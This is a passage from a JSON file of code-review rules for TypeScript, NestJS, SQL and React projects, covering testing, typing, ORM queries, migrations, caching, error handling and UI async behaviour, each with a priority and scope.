beforeAll, not per test","rule":"Setup data that is identical and not mutated across cases (e.g. a test user or category) should be created once in a beforeAll hook rather than recreated in every test.","apiRule":"Setup data that is identical and not mutated across cases (e.g. a test user or category) should be created once in a beforeAll hook rather than recreated in every test. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Tests must fail loudly on unexpected conditions, not swallow them to pass","rule":"Do not add guards that let a test pass when something goes wrong; throw or assert so the failure is surfaced instead of silently green.","apiRule":"Do not add guards that let a test pass when something goes wrong; throw or assert so the failure is surfaced instead of silently green. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"An endpoint that returns data should not be typed as void","rule":"If a handler responds with a payload, its return type must reflect that payload; a GET that produces data should not be declared to return void.","apiRule":"If a handler responds with a payload, its return type must reflect that payload; a GET that produces data should not be declared to return void. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Give every documented API property a type, example, and description","rule":"API schema decorators should specify type, an example, and a clear description so generated documentation is complete and accurate.","apiRule":"API schema decorators should specify type, an example, and a clear description so generated documentation is complete and accurate. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a combined find-and-count call instead of separate count and find queries","rule":"When you need both a page of rows and the total count with the same filter, use the ORM's findAndCountAll-style call rather than issuing two separate queries.","apiRule":"When you need both a page of rows and the total count with the same filter, use the ORM's findAndCountAll-style call rather than issuing two separate queries. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Throw a precise error for the actual condition instead of blanket-mapping every failure","rule":"Detect the specific failure (e.g. a duplicate via a lookup) and throw the matching exception, rather than catching any DB error and always returning the same status, which misleads the client.","apiRule":"Detect the specific failure (e.g. a duplicate via a lookup) and throw the matching exception, rather than catching any DB error and always returning the same status, which misleads the client. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Wrap a generic external/integration service behind a domain-specific interface","rule":"Expose intention-revealing domain methods (e.g. sendPasswordResetEmail) over a generic third-party client, so callers depend on your app's interface rather than the raw underlying API.","apiRule":"Expose intention-revealing domain methods (e.g. sendPasswordResetEmail) over a generic third-party client, so callers depend on your app's interface rather than the raw underlying API. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid awaiting inside a loop; batch with Promise.all or a single set-based query","rule":"Sequentially awaiting one async call per iteration serializes work unnecessarily; run them concurrently with Promise.all, or replace N queries with one set-based query (e.g. WHERE id IN (...)).","apiRule":"Sequentially awaiting one async call per iteration serializes work unnecessarily; run them concurrently with Promise.all, or replace N queries with one set-based query (e.g. WHERE id IN (...)). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep model column types consistent with the migration definitions","rule":"A field's type in the ORM model must match how the migration defines the column (e.g. signedness/width); mismatches cause subtle data and validation bugs.","apiRule":"A field's type in the ORM model must match how the migration defines the column (e.g. signedness/width); mismatches cause subtle data and validation bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"A migration's down() must reverse exactly what up() did, not drop the whole table","rule":"When a migration adds columns, its down() should remove only those columns; dropping the entire table (or otherwise over-reverting) destroys unrelated data.","apiRule":"When a migration adds columns, its down() should remove only those columns; dropping the entire table (or otherwise over-reverting) destroys unrelated data. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Derive related DTOs from a base with Pick/Omit/extends instead of redefining fields","rule":"When one DTO is a subset or variant of another, construct it from the base type (PickType, OmitType, extends) rather than re-declaring the shared properties.","apiRule":"When one DTO is a subset or variant of another, construct it from the base type (PickType, OmitType, extends) rather than re-declaring the shared properties. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep naming and pluralization consistent across sibling keys and constants","rule":"When a set of related keys or constants follows a convention (e.g. plural names), new additions should match it instead of standing out with a different form.","apiRule":"When a set of related keys or constants follows a convention (e.g. plural names), new additions should match it instead of standing out with a different form. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not add a redundant empty-array member to a return type","rule":"Typing a result as `T[] | []` is redundant because `[]` is already assignable to `T[]`; declare it simply as `T[]`.","apiRule":"Typing a result as `T[] | []` is redundant because `[]` is already assignable to `T[]`; declare it simply as `T[]`. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not put input-validation decorators on response/output types","rule":"Validation decorators belong on incoming request DTOs; applying them to response objects is meaningless because there is nothing to validate on data you are emitting.","apiRule":"Validation decorators belong on incoming request DTOs; applying them to response objects is meaningless because there is nothing to validate on data you are emitting. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Mark optional properties with `?` and reflect true nullability in the type","rule":"An optional field should use the `?` modifier, and a value that can be null in the data source must include `| null` in its type rather than being typed as a plain non-null value.","apiRule":"An optional field should use the `?` modifier, and a value that can be null in the data source must include `| null` in its type rather than being typed as a plain non-null value. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Group by a unique, non-nullable key, not by a display field that can be null","rule":"GROUP BY should use a guaranteed-unique, non-nullable identifier (e.g. a primary key) rather than a label like a nickname that may be null or duplicated, to avoid collapsing distinct rows.","apiRule":"GROUP BY should use a guaranteed-unique, non-nullable identifier (e.g. a primary key) rather than a label like a nickname that may be null or duplicated, to avoid collapsing distinct rows. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Apply filtering conditions in the JOIN ON clause rather than joining then discarding rows","rule":"When a join should only match rows meeting a condition, put that condition in the JOIN ON clause instead of joining everything and filtering afterwards, which is wasteful.","apiRule":"When a join should only match rows meeting a condition, put that condition in the JOIN ON clause instead of joining everything and filtering afterwards, which is wasteful. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not hardcode the database/schema name in queries","rule":"Reference tables by name only; prefixing with a hardcoded schema/database name breaks in environments where the database is named differently.","apiRule":"Reference tables by name only; prefixing with a hardcoded schema/database name breaks in environments where the database is named differently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Let unexpected errors bubble up to the framework's exception handler instead of catching to rethrow","rule":"Only catch an error when you can genuinely handle or enrich it; otherwise let it propagate to the framework's central error handler rather than catching it just to rethrow.","apiRule":"Only catch an error when you can genuinely handle or enrich it; otherwise let it propagate to the framework's central error handler rather than catching it just to rethrow. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Reuse already-fetched data instead of issuing a redundant query","rule":"If a value was already loaded (or can join the existing parallel batch), do not fire a separate sequential query for it; reuse the data or add it to the parallel fetch.","apiRule":"If a value was already loaded (or can join the existing parallel batch), do not fire a separate sequential query for it; reuse the data or add it to the parallel fetch. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use exists() rather than count() > 0 for existence checks","rule":"When you only need to know whether any matching row exists, use an exists/limit-1 query instead of counting all matches, which scans more rows than necessary.","apiRule":"When you only need to know whether any matching row exists, use an exists/limit-1 query instead of counting all matches, which scans more rows than necessary. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use a decimal type for monetary calculations, not floating point","rule":"Accumulate and compare money with a Decimal/BigDecimal type rather than native floats to avoid rounding drift, and stay consistent with the rest of the codebase's money handling.","apiRule":"Accumulate and compare money with a Decimal/BigDecimal type rather than native floats to avoid rounding drift, and stay consistent with the rest of the codebase's money handling. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not collapse all upstream error statuses into a single 4xx","rule":"Mapping every status >= 400 from an upstream call to 400 hides server (5xx) failures and assumes a message is present; branch on the status and guard against a null message.","apiRule":"Mapping every status >= 400 from an upstream call to 400 hides server (5xx) failures and assumes a message is present; branch on the status and guard against a null message. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Apply the same locking strategy across all related write paths","rule":"If one write path that mutates a shared balance/aggregate takes a pessimistic lock, the sibling write paths that mutate the same data must lock too, or concurrent requests corrupt it.","apiRule":"If one write path that mutates a shared balance/aggregate takes a pessimistic lock, the sibling write paths that mutate the same data must lock too, or concurrent requests corrupt it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Error response payloads should not default to a success status code","rule":"An error DTO that defaults its status field to 200 is misleading; default it to an appropriate error code (e.g. 400) so failures are not reported as success.","apiRule":"An error DTO that defaults its status field to 200 is misleading; default it to an appropriate error code (e.g. 400) so failures are not reported as success. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mutate managed ORM entities instead of spreading them into plain objects","rule":"Spreading an ORM entity (`{...entity, field: x}`) produces a plain object that loses the managed instance, so persistence/relations behave incorrectly; mutate the entity and save it.","apiRule":"Spreading an ORM entity (`{...entity, field: x}`) produces a plain object that loses the managed instance, so persistence/relations behave incorrectly; mutate the entity and save it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Return the promise from callbacks passed to Promise.all","rule":"A map callback with a statement body that calls an async function but does not return it yields undefined, so Promise.all does not actually await the work; return the promise.","apiRule":"A map callback with a statement body that calls an async function but does not return it yields undefined, so Promise.all does not actually await the work; return the promise. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Import from a package's public entry point, not deep internal paths","rule":"Use a library's documented public export instead of reaching into its internal/private module paths, which are unstable and can break on minor upgrades.","apiRule":"Use a library's documented public export instead of reaching into its internal/private module paths, which are unstable and can break on minor upgrades. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid colliding base paths across controllers; prefix distinct resources","rule":"Two controllers sharing the same base path make routing depend on registration order and subpath overlap; give each resource its own prefix to keep routes unambiguous.","apiRule":"Two controllers sharing the same base path make routing depend on registration order and subpath overlap; give each resource its own prefix to keep routes unambiguous. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Parse boolean environment variables explicitly, never rely on truthiness","rule":"Environment variables are strings, so the literal \"false\" is truthy; compare against the expected string or transform to a real boolean before using it in conditions.","apiRule":"Environment variables are strings, so the literal \"false\" is truthy; compare against the expected string or transform to a real boolean before using it in conditions. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Never mark user-specific responses as publicly cacheable","rule":"Do not set Cache-Control: public on responses that vary by user; a shared cache (CDN/proxy) will serve one user's data to everyone unless the response varies by a user-specific key.","apiRule":"Do not set Cache-Control: public on responses that vary by user; a shared cache (CDN/proxy) will serve one user's data to everyone unless the response varies by a user-specific key. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Don't misread a thousands separator as a decimal point when parsing numbers","rule":"A locale-aware number parser must not assume a single dot/comma is always a decimal separator; a separator followed by exactly three digits is a thousands group, so guard against silently dividing values by ~1000.","apiRule":"A locale-aware number parser must not assume a single dot/comma is always a decimal separator; a separator followed by exactly three digits is a thousands group, so guard against silently dividing values by ~1000. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Initialize array-typed state with an empty array, not undefined","rule":"When a state value is typed as an array, initialize it with [] rather than undefined so consumers can iterate safely and the value matches its declared type.","apiRule":"When a state value is typed as an array, initialize it with [] rather than undefined so consumers can iterate safely and the value matches its declared type. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't conflate 0 with null/absent; use a clear sentinel","rule":"Avoid mixing a number with null when a falsy check is used, because !value is true for both 0 and null; use a sentinel like -1 or an explicit null check to distinguish them.","apiRule":"Avoid mixing a number with null when a falsy check is used, because !value is true for both 0 and null; use a sentinel like -1 or an explicit null check to distinguish them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Compare array/object contents, not references, for equality","rule":"Using === or identity comparison on arrays/objects only checks reference equality; compare lengths and elements (or use a deep/structural check) when you mean value equality.","apiRule":"Using === or identity comparison on arrays/objects only checks reference equality; compare lengths and elements (or use a deep/structural check) when you mean value equality. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Open success-dependent UI inside try, not finally","rule":"Put UI that should only appear after a successful fetch (e.g. opening a modal pre-filled with the result) inside the try block, not in finally where it runs even when the fetch threw.","apiRule":"Put UI that should only appear after a successful fetch (e.g. opening a modal pre-filled with the result) inside the try block, not in finally where it runs even when the fetch threw. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't optimistically show fetched data when the fetch failed","rule":"When a UI value depends on a request, don't fall back to showing the locally-edited value as if it were confirmed if that request fails, unless the underlying write was already persisted separately.","apiRule":"When a UI value depends on a request, don't fall back to showing the locally-edited value as if it were confirmed if that request fails, unless the underlying write was already persisted separately. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Run awaited work before calling onClose/navigation that unmounts the component","rule":"When a handler both awaits async work and triggers an unmount (onClose/navigation), do the awaits and final state updates first and unmount last, to avoid state updates and toasts firing from a detached tree.","apiRule":"When a handler both awaits async work and triggers an unmount (onClose/navigation), do the awaits and final state updates first and unmount last, to avoid state updates and toasts firing from a detached tree. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Guard async submit actions against double-submission","rule":"Track in-flight state for every async submit path and disable the trigger while a request is pending, so a double-click or method switch can't fire concurrent submissions.","apiRule":"Track in-flight state for every async submit path and disable the trigger while a request is pending, so a double-click or method switch can't fire concurrent submissions. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Keep dependency direction one-way: shared components must not import from views/pages","rule":"Reusable/shared components should not import from feature/view modules; extract shared code into a common module so the dependency flows from views to components, never the reverse.","apiRule":"Reusable/shared components should not import from feature/view modules; extract shared code into a common module so the dependency flows from views to components, never the reverse. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Derive related prop types from their source rather than redefining them","rule":"Reference an existing component/function's prop type (e.g. ComponentProps['onChange']) instead of hand-redeclaring it, so changes propagate automatically.","apiRule":"Reference an existing component/function's prop type (e.g. ComponentProps['onChange']) instead of hand-redeclaring it, so changes propagate automatically. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Extract reused union types into a named type alias","rule":"Define a named type alias for a union that appears in more than one place instead of repeating the inline union at each use site.","apiRule":"Define a named type alias for a union that appears in more than one place instead of repeating the inline union at each use site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Add explicit types to variables whose value can be one of several types","rule":"When a variable can hold more than one type (e.g. number or null), give it an explicit type annotation rather than relying on inference.","apiRule":"When a variable can hold more than one type (e.g. number or null), give it an explicit type annotation rather than relying on inference. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reuse the shared API response/error helper instead of ad-hoc responses","rule":"When the codebase has a shared helper for default API handling/error responses, call it in new route handlers rather than reimplementing the response shape per route.","apiRule":"When the codebase has a shared helper for default API handling/error responses, call it in new route handlers rather than reimplementing the response shape per route. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Reject unsupported HTTP methods in API route handlers","rule":"Each API route should only respond to its intended HTTP method(s) and return 405 for others, rather than running its logic for any method.","apiRule":"Each API route should only respond to its intended HTTP method(s) and return 405 for others, rather than running its logic for any method. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Skip rendering a container entirely when it would be empty","rule":"If a wrapper element will have no visible content under some condition, guard the whole element with that condition instead of rendering an empty box.","apiRule":"If a wrapper element will have no visible content under some condition, guard the whole element with that condition instead of rendering an empty box. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid single-letter and abbreviated variable names","rule":"Use descriptive identifiers in callbacks and loops instead of single letters like v, b, i, or c, which are harder to read and review.","apiRule":"Use descriptive identifiers in callbacks and loops instead of single letters like v, b, i, or c, which are harder to read and review. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name event handlers with a single action verb, not stacked verbs","rule":"Name handlers with one clear verb (openMenu, closeDialog, confirmDeletion) instead of stacking redundant verbs like handleOpen plus open.","apiRule":"Name handlers with one clear verb (openMenu, closeDialog, confirmDeletion) instead of stacking redundant verbs like handleOpen plus open. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Hoist component-independent functions and values out of the component body","rule":"If a function or value inside a component doesn't reference props or state, define it at module scope so it isn't recreated on every render.","apiRule":"If a function or value inside a component doesn't reference props or state, define it at module scope so it isn't recreated on every render. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use the theme spacing scale instead of hardcoded pixels or rems","rule":"For spacing props like gap/margin/padding, use the design system's spacing factor (e.g. MUI's 8px-per-unit scale) rather than hardcoding px/rem values.","apiRule":"For spacing props like gap/margin/padding, use the design system's spacing factor (e.g. MUI's 8px-per-unit scale) rather than hardcoding px/rem values. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid the sx prop for static styling; use component props or a CSS module","rule":"Treat the sx prop as a last resort: express static styles as component props first, then a CSS module, and reserve sx for cases neither can cover.","apiRule":"Treat the sx prop as a last resort: express static styles as component props first, then a CSS module, and reserve sx for cases neither can cover. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Confirm whether an API merges or replaces before sending a partial payload","rule":"Before calling an endpoint that mutates a resource, verify against its documentation whether it merges (patches) or fully replaces attributes, so you do not unintentionally wipe fields by sending a partial body.","apiRule":"Before calling an endpoint that mutates a resource, verify against its documentation whether it merges (patches) or fully replaces attributes, so you do not unintentionally wipe fields by sending a partial body. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not tie critical side effects to a UI path the user may skip","rule":"Persisting data, tracking, or other important side effects must not depend on a code branch that only runs if the user waits instead of dismissing the UI; trigger them on a reliable event or make them idempotent.","apiRule":"Persisting data, tracking, or other important side effects must not depend on a code branch that only runs if the user waits instead of dismissing the UI; trigger them on a reliable event or make them idempotent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Read the current environment through a helper so tests can mock it","rule":"Expose a getCurrentEnv() helper that returns production/development/test and mock that in tests, instead of reading and mutating process.env.NODE_ENV directly in test setup.","apiRule":"Expose a getCurrentEnv() helper that returns production/development/test and mock that in tests, instead of reading and mutating process.env.NODE_ENV directly in test setup. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard debug/non-prod behavior behind an explicit environment check","rule":"Behavior described as dev/debug-only must be gated by an explicit environment guard (NODE_ENV or a dedicated env var), not left reachable in production just because a feature flag is on.","apiRule":"Behavior described as dev/debug-only must be gated by an explicit environment guard (NODE_ENV or a dedicated env var), not left reachable in production just because a feature flag is on. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Never nest an interactive element inside a button","rule":"A <button> may not contain another button (or other interactive control); use role=\"button\" on a div, or restructure, to keep valid and accessible markup.","apiRule":"A <button> may not contain another button (or other interactive control); use role=\"button\" on a div, or restructure, to keep valid and accessible markup. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep prompts and user-facing strings in one constants module","rule":"Centralize LLM prompts and repeated static messages in a dedicated consts/enums module so they're easy to find, reuse, and later migrate to a prompt-management service.","apiRule":"Centralize LLM prompts and repeated static messages in a dedicated consts/enums module so they're easy to find, reuse, and later migrate to a prompt-management service. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Filter once on the backend rather than duplicating filter logic on the client","rule":"Pass the selection (e.g. list of fields) to the backend and let it filter, instead of replicating the same conditional filtering in both the client payload builder and the server.","apiRule":"Pass the selection (e.g. list of fields) to the backend and let it filter, instead of replicating the same conditional filtering in both the client payload builder and the server. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad 